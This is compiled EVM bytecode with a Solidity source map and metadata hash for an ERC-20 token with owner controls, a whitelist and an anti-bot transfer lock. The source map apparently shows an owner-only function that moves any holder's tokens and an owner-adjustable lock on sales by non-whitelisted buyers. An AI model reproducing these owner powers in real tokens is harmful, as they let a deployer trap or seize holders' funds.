2602160248201527f4164647265737320616c72656164792073657420696e207768697465206c69736044820152601d60fa1b60648201526084016104bf565b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b6106d2610b7c565b6001600160a01b0381166107375760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104bf565b61074081610bd6565b50565b6001600160a01b0383166107a55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104bf565b6001600160a01b0382166108065760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104bf565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6006546001600160a01b0390811690831603610899576001600160a01b03811660009081526008602052604090204290555b6001600160a01b03821660009081526007602052604090205460ff161580156108cf57506006546001600160a01b038281169116145b1561095a576009546001600160a01b0383166000908152600860205260409020546109009163ffffffff1690610dad565b42101561095a5760405162461bcd60e51b815260206004820152602260248201527f6c6f636b20666f722070726576656e742066726f6e742072756e6e657220626f6044820152613a1760f11b60648201526084016104bf565b5050565b600061096a8484610600565b905060001981146109d257818110156109c55760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016104bf565b6109d28484848403610743565b50505050565b6001600160a01b038316610a3c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104bf565b6001600160a01b038216610a9e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104bf565b6001600160a01b03831660009081526020819052604090205481811015610b165760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104bf565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36109d2565b6005546001600160a01b031633146104515760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104bf565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600060208083528351808285015260005b81811015610c5557858101830151858201604001528201610c39565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c8d57600080fd5b919050565b60008060408385031215610ca557600080fd5b610cae83610c76565b946020939093013593505050565b600080600060608486031215610cd157600080fd5b610cda84610c76565b9250610ce860208501610c76565b9150604084013590509250925092565b600060208284031215610d0a57600080fd5b610d1382610c76565b9392505050565b600060208284031215610d2c57600080fd5b813563ffffffff81168114610d1357600080fd5b60008060408385031215610d5357600080fd5b610d5c83610c76565b9150610d6a60208401610c76565b90509250929050565b600181811c90821680610d8757607f821691505b602082108103610da757634e487b7160e01b600052602260045260246000fd5b50919050565b808201808211156103e957634e487b7160e01b600052601160045260246000fdfea26469706673582212205df2e44a149f4bea7a1c7b25483017812a3778bccec4dca86af4c71b67df045164736f6c63430008120033

16359:2274:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4152:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6503:201;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;6503:201:0;1004:187:1;5272:108:0;5360:12;;5272:108;;;1342:25:1;;;1330:2;1315:18;5272:108:0;1196:177:1;17923:321:0;;;;;;:::i;:::-;;:::i;16738:90::-;16811:9;;;;;;;16738:90;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;16738:90:0;1711:184:1;7988:238:0;;;;;;:::i;:::-;;:::i;16494:47::-;;;;;;:::i;:::-;;;;;;;;;;;;;;5443:127;;;;;;:::i;:::-;-1:-1:-1;;;;;5544:18:0;5517:7;5544:18;;;;;;;;;;;;5443:127;16550:26;;;;;;;;;;;;2265:10:1;2253:23;;;2235:42;;2223:2;2208:18;16550:26:0;2091:192:1;15542:103:0;;;:::i;:::-;;17288:198;;;;;;:::i;:::-;;:::i;14902:87::-;14975:6;;-1:-1:-1;;;;;14975:6:0;14902:87;;;-1:-1:-1;;;;;2452:32:1;;;2434:51;;2422:2;2407:18;14902:87:0;2288:203:1;4371:104:0;;;:::i;8729:436::-;;;;;;:::i;:::-;;:::i;17494:201::-;;;;;;:::i;:::-;;:::i;17703:212::-;;;;;;:::i;:::-;;:::i;16397:33::-;;;;;-1:-1:-1;;;;;16397:33:0;;;16836:138;;;;;;:::i;:::-;;:::i;16982:93::-;;;;;;:::i;:::-;;:::i;6032:151::-;;;;;;:::i;:::-;;:::i;17083:197::-;;;;;;:::i;:::-;;:::i;15800:201::-;;;;;;:::i;:::-;;:::i;4152:100::-;4206:13;4239:5;4232:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4152:100;:::o;6503:201::-;6586:4;3238:10;6642:32;3238:10;6658:7;6667:6;6642:8;:32::i;:::-;6692:4;6685:11;;;6503:201;;;;;:::o;17923:321::-;18046:4;3238:10;18104:23;18118:4;18124:2;18104:13;:23::i;:::-;18138:38;18154:4;18160:7;18169:6;18138:15;:38::i;:::-;18187:27;18197:4;18203:2;18207:6;18187:9;:27::i;:::-;-1:-1:-1;18232:4:0;;17923:321;-1:-1:-1;;;;17923:321:0:o;7988:238::-;8076:4;3238:10;8132:64;3238:10;8148:7;8185:10;8157:25;3238:10;8148:7;8157:9;:25::i;:::-;:38;;;;:::i;:::-;8132:8;:64::i;15542:103::-;14788:13;:11;:13::i;:::-;15607:30:::1;15634:1;15607:18;:30::i;:::-;15542:103::o:0;17288:198::-;14788:13;:11;:13::i;:::-;-1:-1:-1;;;;;17371:27:0;::::1;;::::0;;;:17:::1;:27;::::0;;;;;::::1;;17363:67;;;::::0;-1:-1:-1;;;17363:67:0;;3856:2:1;17363:67:0::1;::::0;::::1;3838:21:1::0;3895:2;3875:18;;;3868:30;3934:29;3914:18;;;3907:57;3981:18;;17363:67:0::1;;;;;;;;;-1:-1:-1::0;;;;;17443:27:0::1;17473:5;17443:27:::0;;;:17:::1;:27;::::0;;;;:35;;-1:-1:-1;;17443:35:0::1;::::0;;17288:198::o;4371:104::-;4427:13;4460:7;4453:14;;;;;:::i;8729:436::-;8822:4;3238:10;8822:4;8905:25;3238:10;8922:7;8905:9;:25::i;:::-;8878:52;;8969:15;8949:16;:35;;8941:85;;;;-1:-1:-1;;;8941:85:0;;4212:2:1;8941:85:0;;;4194:21:1;4251:2;4231:18;;;4224:30;4290:34;4270:18;;;4263:62;-1:-1:-1;;;4341:18:1;;;4334:35;4386:19;;8941:85:0;4010:401:1;8941:85:0;9062:60;9071:5;9078:7;9106:15;9087:16;:34;9062:8;:60::i;17494:201::-;17620:4;14788:13;:11;:13::i;:::-;17638:27:::1;17648:4;17654:2;17658:6;17638:9;:27::i;:::-;-1:-1:-1::0;17683:4:0::1;17494:201:::0;;;;;:::o;17703:212::-;17781:4;17798:36;17812:10;17824:9;17798:13;:36::i;:::-;17845:40;17855:10;17867:9;17878:6;17845:9;:40::i;:::-;-1:-1:-1;17903:4:0;17703:212;;;;:::o;16836:138::-;14788:13;:11;:13::i;:::-;16926:18:::1;:40:::0;;-1:-1:-1;;;;;;16926:40:0::1;-1:-1:-1::0;;;;;16926:40:0;;;::::1;::::0;;;::::1;::::0;;16836:138::o;16982:93::-;14788:13;:11;:13::i;:::-;17049:7:::1;:18:::0;;-1:-1:-1;;17049:18:0::1;;::::0;;;::::1;::::0;;;::::1;::::0;;16982:93::o;6032:151::-;-1:-1:-1;;;;;6148:18:0;;;6121:7;6148:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6032:151::o;17083:197::-;14788:13;:11;:13::i;:::-;-1:-1:-1;;;;;17162:27:0;::::1;;::::0;;;:17:::1;:27;::::0;;;;;::::1;;17161:28;17153:74;;;::::0;-1:-1:-1;;;17153:74:0;;4618:2:1;17153:74:0::1;::::0;::::1;4600:21:1::0;4657:2;4637:18;;;4630:30;4696:34;4676:18;;;4669:62;-1:-1:-1;;;4747:18:1;;;4740:31;4788:19;;17153:74:0::1;4416:397:1::0;17153:74:0::1;-1:-1:-1::0;;;;;17238:27:0::1;;::::0;;;:17:::1;:27;::::0;;;;:34;;-1:-1:-1;;17238:34:0::1;17268:4;17238:34;::::0;;17083:197::o;15800:201::-;14788:13;:11;:13::i;:::-;-1:-1:-1;;;;;15889:22:0;::::1;15881:73;;;::::0;-1:-1:-1;;;15881:73:0;;5020:2:1;15881:73:0::1;::::0;::::1;5002:21:1::0;5059:2;5039:18;;;5032:30;5098:34;5078:18;;;5071:62;-1:-1:-1;;;5149:18:1;;;5142:36;5195:19;;15881:73:0::1;4818:402:1::0;15881:73:0::1;15965:28;15984:8;15965:18;:28::i;:::-;15800:201:::0;:::o;11748:380::-;-1:-1:-1;;;;;11884:19:0;;11876:68;;;;-1:-1:-1;;;11876:68:0;;5427:2:1;11876:68:0;;;5409:21:1;5466:2;5446:18;;;5439:30;5505:34;5485:18;;;5478:62;-1:-1:-1;;;5556:18:1;;;5549:34;5600:19;;11876:68:0;5225:400:1;11876:68:0;-1:-1:-1;;;;;11963:21:0;;11955:68;;;;-1:-1:-1;;;11955:68:0;;5832:2:1;11955:68:0;;;5814:21:1;5871:2;5851:18;;;5844:30;5910:34;5890:18;;;5883:62;-1:-1:-1;;;5961:18:1;;;5954:32;6003:19;;11955:68:0;5630:398:1;11955:68:0;-1:-1:-1;;;;;12036:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;12088:32;;1342:25:1;;;12088:32:0;;1315:18:1;12088:32:0;;;;;;;11748:380;;;:::o;18252:372::-;18342:18;;-1:-1:-1;;;;;18342:18:0;;;18332:28;;;;18328:96;;-1:-1:-1;;;;;18373:23:0;;;;;;:12;:23;;;;;18399:15;18373:41;;18328:96;-1:-1:-1;;;;;18439:25:0;;;;;;:17;:25;;;;;;;;18438:26;:61;;;;-1:-1:-1;18481:18:0;;-1:-1:-1;;;;;18468:31:0;;;18481:18;;18468:31;18438:61;18434:183;;;18561:7;;-1:-1:-1;;;;;18538:20:0;;18561:7;18538:20;;;:12;:20;;;;;;:30;;18561:7;;;18538:30;:::i;:::-;18519:15;:49;;18511:96;;;;-1:-1:-1;;;18511:96:0;;6235:2:1;18511:96:0;;;6217:21:1;6274:2;6254:18;;;6247:30;6313:34;6293:18;;;6286:62;-1:-1:-1;;;6364:18:1;;;6357:32;6406:19;;18511:96:0;6033:398:1;18511:96:0;18252:372;;:::o;12419:453::-;12554:24;12581:25;12591:5;12598:7;12581:9;:25::i;:::-;12554:52;;-1:-1:-1;;12621:16:0;:37;12617:248;;12703:6;12683:16;:26;;12675:68;;;;-1:-1:-1;;;12675:68:0;;6638:2:1;12675:68:0;;;6620:21:1;6677:2;6657:18;;;6650:30;6716:31;6696:18;;;6689:59;6765:18;;12675:68:0;6436:353:1;12675:68:0;12787:51;12796:5;12803:7;12831:6;12812:16;:25;12787:8;:51::i;:::-;12543:329;12419:453;;;:::o;9635:840::-;-1:-1:-1;;;;;9766:18:0;;9758:68;;;;-1:-1:-1;;;9758:68:0;;6996:2:1;9758:68:0;;;6978:21:1;7035:2;7015:18;;;7008:30;7074:34;7054:18;;;7047:62;-1:-1:-1;;;7125:18:1;;;7118:35;7170:19;;9758:68:0;6794:401:1;9758:68:0;-1:-1:-1;;;;;9845:16:0;;9837:64;;;;-1:-1:-1;;;9837:64:0;;7402:2:1;9837:64:0;;;7384:21:1;7441:2;7421:18;;;7414:30;7480:34;7460:18;;;7453:62;-1:-1:-1;;;7531:18:1;;;7524:33;7574:19;;9837:64:0;7200:399:1;9837:64:0;-1:-1:-1;;;;;9987:15:0;;9965:19;9987:15;;;;;;;;;;;10021:21;;;;10013:72;;;;-1:-1:-1;;;10013:72:0;;7806:2:1;10013:72:0;;;7788:21:1;7845:2;7825:18;;;7818:30;7884:34;7864:18;;;7857:62;-1:-1:-1;;;7935:18:1;;;7928:36;7981:19;;10013:72:0;7604:402:1;10013:72:0;-1:-1:-1;;;;;10121:15:0;;;:9;:15;;;;;;;;;;;10139:20;;;10121:38;;10339:13;;;;;;;;;;:23;;;;;;10391:26;;1342:25:1;;;10339:13:0;;10391:26;;1315:18:1;10391:26:0;;;;;;;10430:37;13472:125;15067:132;14975:6;;-1:-1:-1;;;;;14975:6:0;3238:10;15131:23;15123:68;;;;-1:-1:-1;;;15123:68:0;;8213:2:1;15123:68:0;;;8195:21:1;;;8232:18;;;8225:30;8291:34;8271:18;;;8264:62;8343:18;;15123:68:0;8011:356:1;16161:191:0;16254:6;;;-1:-1:-1;;;;;16271:17:0;;;-1:-1:-1;;;;;;16271:17:0;;;;;;;16304:40;;16254:6;;;16271:17;16254:6;;16304:40;;16235:16;;16304:40;16224:128;16161:191;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;:::-;2041:39;1900:186;-1:-1:-1;;;1900:186:1:o;2496:276::-;2554:6;2607:2;2595:9;2586:7;2582:23;2578:32;2575:52;;;2623:1;2620;2613:12;2575:52;2662:9;2649:23;2712:10;2705:5;2701:22;2694:5;2691:33;2681:61;;2738:1;2735;2728:12;2777:260;2845:6;2853;2906:2;2894:9;2885:7;2881:23;2877:32;2874:52;;;2922:1;2919;2912:12;2874:52;2945:29;2964:9;2945:29;:::i;:::-;2935:39;;2993:38;3027:2;3016:9;3012:18;2993:38;:::i;:::-;2983:48;;2777:260;;;;;:::o;3042:380::-;3121:1;3117:12;;;;3164;;;3185:61;;3239:4;3231:6;3227:17;3217:27;;3185:61;3292:2;3284:6;3281:14;3261:18;3258:38;3255:161;;3338:10;3333:3;3329:20;3326:1;3319:31;3373:4;3370:1;3363:15;3401:4;3398:1;3391:15;3255:161;;3042:380;;;:::o;3427:222::-;3492:9;;;3513:10;;;3510:133;;;3565:10;3560:3;3556:20;3553:1;3546:31;3600:4;3597:1;3590:15;3628:4;3625:1;3618:15

ipfs://5df2e44a149f4bea7a1c7b25483017812a3778bccec4dca86af4c71b67df0451